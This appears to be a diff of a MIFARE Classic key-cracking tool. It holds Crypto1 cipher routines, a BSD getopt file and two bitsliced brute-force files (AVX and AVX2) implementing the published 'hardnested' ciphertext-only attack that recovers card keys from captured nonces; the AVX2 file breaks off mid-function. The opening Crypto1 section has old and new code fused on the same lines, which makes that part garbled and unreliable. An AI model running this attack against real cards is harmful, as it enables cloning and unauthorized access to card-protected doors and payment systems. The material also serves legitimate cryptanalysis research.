void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
{ void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) {
int i; int i;
for (*lfsr = 0, i = 23; i >= 0; --i) { for (*lfsr = 0, i = 23; i >= 0; --i) {
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
} }
} }
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint32_t feedin;
uint8_t ret = filter(s->odd);
feedin = ret & !!is_encrypted; uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) {
feedin ^= !!in; uint32_t feedin, t;
feedin ^= LF_POLY_ODD & s->odd; uint8_t ret = filter(s->odd);
feedin ^= LF_POLY_EVEN & s->even;
s->even = s->even << 1 | parity(feedin);
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); feedin = ret & !!is_encrypted;
feedin ^= !!in;
feedin ^= LF_POLY_ODD & s->odd;
feedin ^= LF_POLY_EVEN & s->even;
s->even = s->even << 1 | evenparity32(feedin);
return ret; t = s->odd, s->odd = s->even, s->even = t;
return ret;
} }
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
uint8_t i, ret = 0;
for (i = 0; i < 8; ++i) uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) {
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; uint8_t i, ret = 0;
return ret; for (i = 0; i < 8; ++i)
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
return ret;
} }
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
{
uint32_t i, ret = 0;
for (i = 0; i < 32; ++i) uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) {
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); uint32_t i, ret = 0;
return ret; for (i = 0; i < 32; ++i)
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
return ret;
} }
/* prng_successor /* prng_successor
* helper used to obscure the keystream during authentication * helper used to obscure the keystream during authentication
*/ */
uint32_t prng_successor(uint32_t x, uint32_t n) uint32_t prng_successor(uint32_t x, uint32_t n) {
{ SWAPENDIAN(x);
SWAPENDIAN(x); while (n--)
while (n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
return SWAPENDIAN(x); return SWAPENDIAN(x);
} }

106
src/getopt.c Normal file
View File

@ -0,0 +1,106 @@
#include "getopt.h" // make sure you construct the header file as dictated above
/*
* Copyright (c) 1987, 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <string.h>
#include <stdio.h>
int opterr = 1, /* if error message should be printed */
optind = 1, /* index into parent argv vector */
optopt, /* character checked for validity */
optreset; /* reset getopt */
char* optarg; /* argument associated with option */
#define BADCH (int)'?'
#define BADARG (int)':'
#define EMSG ""
/*
* getopt --
* Parse argc/argv argument vector.
*/
int getopt(int nargc, char* const nargv[], const char* ostr)
{
static char* place = EMSG; /* option letter processing */
const char* oli; /* option letter list index */
if (optreset || !*place) { /* update scanning pointer */
optreset = 0;
if (optind >= nargc || *(place = nargv[optind]) != '-') {
place = EMSG;
return (-1);
}
if (place[1] && *++place == '-') { /* found "--" */
++optind;
place = EMSG;
return (-1);
}
} /* option letter okay? */
if ((optopt = (int)*place++) == (int)':' ||
!(oli = strchr(ostr, optopt))) {
/*
* if the user didn't specify '-' as an option,
* assume it means -1.
*/
if (optopt == (int)'-')
return (-1);
if (!*place)
++optind;
if (opterr && *ostr != ':')
(void)printf("illegal option -- %c\n", optopt);
return (BADCH);
}
if (*++oli != ':') { /* don't need argument */
optarg = NULL;
if (!*place)
++optind;
}
else { /* need an argument */
if (*place) /* no white space */
optarg = place;
else if (nargc <= ++optind) { /* no arg */
place = EMSG;
if (*ostr == ':')
return (BADARG);
if (opterr)
(void)printf("option requires an argument -- %c\n", optopt);
return (BADCH);
}
else /* white space */
optarg = nargv[optind];
place = EMSG;
++optind;
}
return (optopt); /* dump back option letter */
}

13
src/getopt.h Normal file
View File

@ -0,0 +1,13 @@
#ifndef GETOPT_H
#define GETOPT_H
extern int opterr; /* if error message should be printed */
extern int optind; /* index into parent argv vector */
extern int optopt; /* character checked for validity */
extern int optreset; /* reset getopt */
extern char* optarg; /* argument associated with option */
int getopt(int nargc, char* const nargv[], const char* ostr);
#endif

View File

@ -0,0 +1,405 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
#include "../crapto1.h"
#include "../parity.h"
#define MAX_BITSLICES 128
#define VECTOR_SIZE (MAX_BITSLICES/8)
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
typedef union {
bitslice_value_t value;
uint64_t bytes64[MAX_BITSLICES / 64];
uint8_t bytes[MAX_BITSLICES / 8];
} bitslice_t;
// filter function (f20)
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
// bit indexing
#define get_bit(n, word) (((word) >> (n)) & 1)
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
// size of crypto-1 state
#define STATE_SIZE 48
// size of nonce to be decrypted
#define KEYSTREAM_SIZE 24
// endianness conversion
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
#if defined (_WIN32)
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
#define free_bitslice(x) _aligned_free(x)
#elif defined (__APPLE__)
static void *malloc_bitslice(size_t x) {
char *allocated_memory;
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
}
}
#define free_bitslice(x) free(x)
#else
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
#define free_bitslice(x) free(x)
#endif
// arrays of bitsliced states with identical values in all slices
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
// 1 and 0 vectors
static bitslice_t bs_ones;
static bitslice_t bs_zeroes;
void bitslice_test_nonces_AVX(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
// initialize 1 and 0 vectors
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice nonces' 2nd to 4th byte
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
if (bit) {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
}
}
}
// bitslice nonces' parity (4 bits)
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
if (bit) {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
}
}
}
}
uint64_t crack_states_bitsliced_AVX(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
// brute forcing (including roll back).
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
bitslice_t * restrict state_p;
uint64_t key = -1;
uint64_t bucket_states_tested = 0;
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
uint32_t bitsliced_blocks = 0;
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
// constant ones/zeroes
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice all the even states
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
if (bitsliced_even_states == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
if (bitsliced_even_feedback == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
if (lstate_p == NULL) {
printf("Out of memory error in brute_force. Aborting... \n");
exit(4);
}
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
// bitslice even half-states
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
bucket_size[bitsliced_blocks] = max_slices;
uint32_t slice_idx;
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
uint32_t e = *(p_even + slice_idx);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
// padding with last even state
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
uint32_t e = *(p_even_end - 1);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
bitsliced_even_states[bitsliced_blocks] = lstate_p;
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
bitsliced_blocks++;
}
// bitslice every odd state to every block of even states
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
// early abort
if (*keys_found) {
goto out;
}
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
state_p = &states[KEYSTREAM_SIZE];
uint32_t o = *p_odd;
// pre-compute the odd feedback bit
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
// set odd state bits
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
if (o & 1) {
state_p[state_idx] = bs_ones;
} else {
state_p[state_idx] = bs_zeroes;
}
}
bitslice_value_t crypto1_bs_f20b_2[16];
bitslice_value_t crypto1_bs_f20b_3[8];
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
bitslice_value_t ksb[8];
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
crypto1_bs_f20b_2[0],
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
crypto1_bs_f20b_3[0]);
uint32_t * restrict p_even = p->states[EVEN_STATE];
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
// add the even state bits
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
}
// pre-compute first feedback bit vector. This is the same for all nonces
bitslice_value_t fbb[8];
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
// vector to contain test results (1 = passed, 0 = failed)
bitslice_t results = bs_ones;
// parity_bits
bitslice_value_t par[8];
par[0] = bs_zeroes.value;
uint32_t next_common_bits = 0;
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
// common bits with preceding test nonce
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
state_p -= common_bits; // and reuse the already calculated state bits
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
// or the highest bit which differs from the previous nonce
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
// decrypt nonce bits
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
// compute real parity bits on the fly
parity_bit_vector ^= decrypted_nonce_bit_vector;
// update state
state_p--;
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
// update crypto1 subfunctions
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
if (ks_idx > KEYSTREAM_SIZE - 8) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
} else {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
}
// update keystream bit
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
// for each completed byte:
if ((ks_idx & 0x07) == 0) {
// get encrypted parity bits
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
// decrypt parity bits
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
// compare actual parity bits with decrypted parity bits and take count in results vector
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
// make sure we still have a match in our set
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
// the short-circuiting also helps
if (results.bytes64[0] == 0 && results.bytes64[1] == 0) {
goto stop_tests;
}
// prepare for next nonce byte
parity_bit_vector = bs_zeroes.value;
}
// update feedback bit vector
if (ks_idx != 0) {
fb_bits =
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
}
// remember feedback and keystream vectors for later use
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
if (bit <= next_common_bits) { // if needed and not yet stored
fbb[bit] = fb_bits;
ksb[bit] = ks_bits;
par[bit] = parity_bit_vector;
}
}
// prepare for next nonce. Revert to initial state
state_p = &states[KEYSTREAM_SIZE];
}
// all nonce tests were successful: we've found a possible key in this block!
uint32_t *p_even_test = p_even;
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
uint64_t results64 = results.bytes64[results_word];
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
if (results64 & 0x01) {
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
struct Crypto1State pcs;
pcs.odd = *p_odd;
pcs.even = *p_even_test;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
crypto1_get_lfsr(&pcs, &key);
bucket_states_tested += 64 * results_word + results_bit;
goto out;
}
}
results64 >>= 1;
p_even_test++;
if (p_even_test == p_even_end) {
goto stop_tests;
}
}
}
stop_tests:
bucket_states_tested += bucket_size[block_idx];
// prepare to set new states
state_p = &states[KEYSTREAM_SIZE];
continue;
}
}
out:
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
free_bitslice(bitsliced_even_states[block_idx]);
}
free(bitsliced_even_states);
free_bitslice(bitsliced_even_feedback);
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
return key;
}

View File

@ -0,0 +1,405 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
#include "../crapto1.h"
#include "../parity.h"
#define MAX_BITSLICES 256
#define VECTOR_SIZE (MAX_BITSLICES/8)
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
typedef union {
bitslice_value_t value;
uint64_t bytes64[MAX_BITSLICES / 64];
uint8_t bytes[MAX_BITSLICES / 8];
} bitslice_t;
// filter function (f20)
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
// bit indexing
#define get_bit(n, word) (((word) >> (n)) & 1)
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
// size of crypto-1 state
#define STATE_SIZE 48
// size of nonce to be decrypted
#define KEYSTREAM_SIZE 24
// endianness conversion
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
#if defined (_WIN32)
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
#define free_bitslice(x) _aligned_free(x)
#elif defined (__APPLE__)
static void *malloc_bitslice(size_t x) {
char *allocated_memory;
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
}
}
#define free_bitslice(x) free(x)
#else
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
#define free_bitslice(x) free(x)
#endif
// arrays of bitsliced states with identical values in all slices
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
// 1 and 0 vectors
static bitslice_t bs_ones;
static bitslice_t bs_zeroes;
void bitslice_test_nonces_AVX2(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
// initialize 1 and 0 vectors
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice nonces' 2nd to 4th byte
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
if (bit) {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
}
}
}
// bitslice nonces' parity (4 bits)
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
if (bit) {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
}
}
}
}
uint64_t crack_states_bitsliced_AVX2(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
